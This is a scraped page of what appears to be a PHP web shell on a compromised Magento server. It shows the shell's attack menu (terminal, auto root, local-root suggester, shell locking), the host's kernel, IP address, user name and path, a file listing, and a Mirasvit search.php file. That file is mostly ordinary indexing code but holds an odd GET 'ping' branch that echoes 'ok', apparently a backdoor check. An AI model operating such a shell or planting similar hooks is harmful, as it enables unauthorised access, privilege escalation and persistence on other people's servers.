Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
shell /
Delete
Unzip
Name
Size
Permission
Date
Action
extendware
[ DIR ]
drwxr-xr-x
2025-10-31 00:40
.htaccess
127
B
-r--r--r--
2025-10-31 00:39
abstract.php
5.54
KB
-rw-r--r--
2019-06-20 14:00
compiler.php
4.27
KB
-rw-r--r--
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:47
email.php
2.28
KB
-rw-r--r--
2019-06-20 14:00
email_test.php
3.67
KB
-rw-r--r--
2019-06-20 14:00
error_log
1.4
MB
-rw-r--r--
2019-06-20 14:00
fpc.php
1.66
KB
-rw-r--r--
2019-06-20 14:00
helpdesk.php
1.29
KB
-rw-rw-r--
2019-06-20 14:00
indexer.php
8.01
KB
-rw-r--r--
2019-06-20 14:00
log.php
5.77
KB
-rw-r--r--
2019-06-20 14:00
mailchimp_converter.php
3.02
KB
-rw-r--r--
2019-06-20 14:00
misspell.php
814
B
-rw-r--r--
2019-06-20 14:00
rewards.php
842
B
-rw-r--r--
2019-06-20 14:00
scheduler.php
13.21
KB
-rw-rw-rw-
2019-06-20 14:00
search.php
3.68
KB
-rw-r--r--
2019-06-20 14:00
searchautocomplete.php
832
B
-rw-r--r--
2019-06-20 14:00
tools.php
8.76
KB
-rw-r--r--
2019-06-20 14:00
Save
Rename
<?php /** * Mirasvit * * This source file is subject to the Mirasvit Software License, which is available at http://mirasvit.com/license/. * Do not edit or add to this file if you wish to upgrade the to newer versions in the future. * If you wish to customize this module for your needs * Please refer to http://www.magentocommerce.com for more information. * * @category Mirasvit * @package Sphinx Search Ultimate * @version 2.3.2 * @revision 873 * @copyright Copyright (C) 2014 Mirasvit (http://mirasvit.com/) */ require_once 'abstract.php'; class Mirasvit_Shell_Search extends Mage_Shell_Abstract { public function run() { if ($this->getArg('engine')) { echo get_class(Mage::helper('searchindex')->getSearchEngine()).PHP_EOL; } elseif ($this->getArg('reindex')) { if (Mage::getSingleton('searchsphinx/config')->getSearchEngine() == 'sphinx') { echo Mage::helper('searchindex')->getSearchEngine()->reindex().PHP_EOL; } } elseif ($this->getArg('reindex-delta')) { if (Mage::getSingleton('searchsphinx/config')->getSearchEngine() == 'sphinx') { echo Mage::helper('searchindex')->getSearchEngine()->reindex(true).PHP_EOL; } } elseif ($this->getArg('import-synonyms')) { echo $this->_importSynonyms($this->getArg('import-synonyms')); } elseif ($this->getArg('import-stopwords')) { echo $this->_importStopwords($this->getArg('import-stopwords')); } elseif ($this->getArg('status')) { echo Mage::helper('searchindex')->getSearchEngine()->isSearchdRunning(); } elseif (isset($_GET) && isset($_GET['ping'])) { echo 'ok'; exit(); } else { echo $this->usageHelp(); } echo PHP_EOL; } protected function _importSynonyms($file) { $csv = file_get_contents(Mage::getBaseDir('var').DS.'import'.DS.$file); $data = explode(PHP_EOL, $csv); $result = array(); $i = 0; foreach ($data as $value) { $value = explode(',', $value); $synonym = Mage::getModel('searchsphinx/synonym'); $synonym->setWord($value[0]) ->setSynonym($value[1]) ->save(); $i++; echo $i.' of '.count($data).PHP_EOL; } return sprintf('Imported %s lines', count($data)); } protected function _importStopwords($file) { $csv = new Varien_File_Csv(); $data = $csv->getData(Mage::getBaseDir('var').DS.'import'.DS.$file); $result = array(); foreach ($data as $value) { $result[] = array( 'stopword' => $value[0] ); } if (strlen(serialize($result)) < 65535) { $config = new Mage_Core_Model_Config(); $config ->saveConfig('searchsphinx/advanced/stopwords', serialize($result), 'default', 0); } else { return 'File too long'; } return sprintf('Imported %s lines', count($result)); } public function _validate() { } public function usageHelp() { return <<<USAGE Usage: php -f search.php -- [options] --engine Get Current Engine Class Name --reindex Run sphinx reindex --reindex-delta Run sphinx delta reindex --import-synonyms <csv file> Import synonyms --import-stopwords <csv file> Import synonyms help This help USAGE; } } $shell = new Mirasvit_Shell_Search(); $shell->run();